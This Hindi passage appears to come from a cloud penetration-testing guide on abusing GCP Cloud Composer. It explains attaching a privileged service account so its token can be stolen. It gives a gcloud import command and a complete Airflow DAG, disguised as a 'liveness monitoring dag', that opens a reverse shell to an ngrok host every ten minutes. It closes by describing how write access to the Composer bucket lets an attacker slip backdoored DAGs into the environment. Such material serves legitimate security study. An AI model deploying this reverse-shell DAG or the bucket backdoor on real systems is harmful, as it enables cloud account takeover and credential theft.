यह संभव है कि किसी भी सेवा खाते को उस अनुमति के साथ नए बनाए गए कंपोज़र वातावरण से जोड़ा जाए। बाद में आप कंपोज़र के अंदर कोड निष्पादित कर सकते हैं ताकि सेवा खाता टोकन चुराया जा सके।
एक फ़ाइल में पायथन DAG कोड जोड़ें और इसे चलाकर आयात करें:
# TODO: Create dag to get a rev shellgcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
रिवर्स शेल DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Composer बकेट पर लिखने की अनुमति
एक कंपोज़र वातावरण के सभी घटक (DAGs, प्लगइन्स और डेटा) एक GCP बकेट के अंदर संग्रहीत होते हैं। यदि हमलावर के पास इसके ऊपर पढ़ने और लिखने की अनुमति है, तो वह बकेट की निगरानी कर सकता है और जब भी एक DAG बनाया या अपडेट किया जाता है, एक बैकडोर संस्करण सबमिट कर सकता है ताकि कंपोज़र वातावरण स्टोरेज से बैकडोर संस्करण प्राप्त कर सके।